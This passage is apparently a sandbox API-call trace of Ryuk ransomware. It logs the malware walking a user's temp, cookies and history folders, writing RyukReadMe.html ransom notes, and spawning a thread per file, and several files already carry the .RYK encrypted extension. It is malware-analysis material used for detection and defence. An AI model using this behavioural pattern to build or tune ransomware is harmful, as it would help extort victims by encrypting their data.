	[0275.384] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a844400, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7a844400, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7a844400, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.384] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a844400, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7a844400, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7a844400, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0275.384] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0275.384] SetLastError (dwErrCode=0x0) 
	[0275.385] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830
	[0275.385] GetLastError () returned 0xb7
	[0275.385] CloseHandle (hObject=0x830) returned 1
	[0275.385] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889a5c30, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xd9e5b1f0, ftLastAccessTime.dwHighDateTime=0x1d5c119, ftLastWriteTime.dwLowDateTime=0x7a9e7320, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x14f32, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="cWKgRNKb-nRhISbFb.odp", cAlternateFileName="CWKGRN~1.ODP")) returned 1
	[0275.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830
	[0275.387] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.387] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15852070, ftCreationTime.dwHighDateTime=0x1d5c286, ftLastAccessTime.dwLowDateTime=0x59838c40, ftLastAccessTime.dwHighDateTime=0x1d5bf06, ftLastWriteTime.dwLowDateTime=0x7ac48920, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x2fb2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="dMinn1FcJBx.png.RYK", cAlternateFileName="DMINN1~1.RYK")) returned 1
	[0275.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838
	[0275.389] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.389] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x461becb0, ftCreationTime.dwHighDateTime=0x1d5c14f, ftLastAccessTime.dwLowDateTime=0x99f1c130, ftLastAccessTime.dwHighDateTime=0x1d5bc9e, ftLastWriteTime.dwLowDateTime=0x99f1c130, ftLastWriteTime.dwHighDateTime=0x1d5bc9e, nFileSizeHigh=0x0, nFileSizeLow=0xf83e, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="exePZrJ2UyzVaEc7nPX.wav", cAlternateFileName="EXEPZR~1.WAV")) returned 1
	[0275.389] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0275.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c
	[0275.391] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.391] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b59a6b0, ftCreationTime.dwHighDateTime=0x1d5bbe3, ftLastAccessTime.dwLowDateTime=0x5fb1c190, ftLastAccessTime.dwHighDateTime=0x1d5c307, ftLastWriteTime.dwLowDateTime=0x7ac6ea80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x18fc2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="H3Njx34uqpIif.flv.RYK", cAlternateFileName="H3NJX3~1.RYK")) returned 1
	[0275.392] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840
	[0275.393] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.393] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7aa0d480, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7aa0d480, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0275.393] SetLastError (dwErrCode=0x0) 
	[0275.394] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844
	[0275.394] GetLastError () returned 0xb7
	[0275.394] CloseHandle (hObject=0x844) returned 1
	[0275.394] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7aa0d480, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7aa0d480, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0275.394] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7aa0d480, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7aa0d480, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.394] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0275.394] SetLastError (dwErrCode=0x0) 
	[0275.394] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848
	[0275.395] GetLastError () returned 0xb7
	[0275.395] CloseHandle (hObject=0x848) returned 1
	[0275.395] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0275.395] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.395] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0275.395] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0275.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0275.398] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.398] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0275.399] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0275.399] SetLastError (dwErrCode=0x0) 
	[0275.399] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848
	[0275.399] GetLastError () returned 0x0
	[0275.399] WriteFile (in: hFile=0x848, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0275.401] CloseHandle (hObject=0x848) returned 1
	[0275.402] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7aa0d480, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7aa0d480, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7aa0d480, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.402] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7aa0d480, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7aa0d480, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7aa0d480, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0275.402] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0275.402] SetLastError (dwErrCode=0x0) 
	[0275.402] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844
	[0275.402] GetLastError () returned 0xb7
	[0275.402] CloseHandle (hObject=0x844) returned 1
	[0275.402] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a8e1660, ftCreationTime.dwHighDateTime=0x1d5bb40, ftLastAccessTime.dwLowDateTime=0xd3481710, ftLastAccessTime.dwHighDateTime=0x1d5b9f9, ftLastWriteTime.dwLowDateTime=0x7ac94be0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb832, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="jEbUyuJue3PUfdTXjk.gif", cAlternateFileName="JEBUYU~1.GIF")) returned 1
	[0275.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844
	[0275.404] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.405] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x996e3ca0, ftCreationTime.dwHighDateTime=0x1d5bffc, ftLastAccessTime.dwLowDateTime=0xad03e4c0, ftLastAccessTime.dwHighDateTime=0x1d5bab8, ftLastWriteTime.dwLowDateTime=0xad03e4c0, ftLastWriteTime.dwHighDateTime=0x1d5bab8, nFileSizeHigh=0x0, nFileSizeLow=0x2b16, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="jSvf1m3yElMB-Sbu17bn.mp4", cAlternateFileName="JSVF1M~1.MP4")) returned 1
	[0275.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848
	[0275.406] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.406] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb798f0, ftCreationTime.dwHighDateTime=0x1d5bc9a, ftLastAccessTime.dwLowDateTime=0x1c6cf870, ftLastAccessTime.dwHighDateTime=0x1d5bab8, ftLastWriteTime.dwLowDateTime=0x7acbad40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17e02, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="KsZxIV-1Om7TALU.jpg.RYK", cAlternateFileName="KSZXIV~1.RYK")) returned 1
	[0275.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0275.526] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.604] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c7e8cc0, ftCreationTime.dwHighDateTime=0x1d5ba10, ftLastAccessTime.dwLowDateTime=0xfb6f5450, ftLastAccessTime.dwHighDateTime=0x1d5c2c9, ftLastWriteTime.dwLowDateTime=0x7acbad40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xc22, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="lqxKQ3ka3.mp3.RYK", cAlternateFileName="LQXKQ3~1.RYK")) returned 1
	[0275.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0275.610] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.611] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df41a0, ftCreationTime.dwHighDateTime=0x1d5c4c4, ftLastAccessTime.dwLowDateTime=0xe89c1fc0, ftLastAccessTime.dwHighDateTime=0x1d5b720, ftLastWriteTime.dwLowDateTime=0x7b000b80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5982, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="LYl8hL0zcGiP.flv.RYK", cAlternateFileName="LYL8HL~1.RYK")) returned 1
	[0275.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0275.613] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.614] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bd58850, ftCreationTime.dwHighDateTime=0x1d5bdc9, ftLastAccessTime.dwLowDateTime=0xd423ce90, ftLastAccessTime.dwHighDateTime=0x1d5b8dc, ftLastWriteTime.dwLowDateTime=0x7b1efd60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x15d92, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="nBP 6drY_iC njnK.wav", cAlternateFileName="NBP6DR~1.WAV")) returned 1
	[0276.021] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0276.243] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.244] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1fdbb0, ftCreationTime.dwHighDateTime=0x1d5ba4a, ftLastAccessTime.dwLowDateTime=0xdf419950, ftLastAccessTime.dwHighDateTime=0x1d5c5ad, ftLastWriteTime.dwLowDateTime=0x7b1efd60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x7142, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="O1d V02Bb-Yyjax.ppt.RYK", cAlternateFileName="O1DV02~1.RYK")) returned 1
	[0276.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0276.246] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.247] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dab0070, ftCreationTime.dwHighDateTime=0x1d5c522, ftLastAccessTime.dwLowDateTime=0x51ecd650, ftLastAccessTime.dwHighDateTime=0x1d5c5c6, ftLastWriteTime.dwLowDateTime=0x7b50fa40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x9782, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="qz-EhFMmP0nfJPHKxYa.mp3", cAlternateFileName="QZ-EHF~1.MP3")) returned 1
	[0276.247] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0276.249] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.250] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2b770, ftCreationTime.dwHighDateTime=0x1d5c15d, ftLastAccessTime.dwLowDateTime=0x68b5e6c0, ftLastAccessTime.dwHighDateTime=0x1d5bce2, ftLastWriteTime.dwLowDateTime=0x7b50fa40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xac92, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="rUJZ.gif.RYK", cAlternateFileName="RUJZGI~1.RYK")) returned 1
	[0276.250] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0276.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0276.253] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
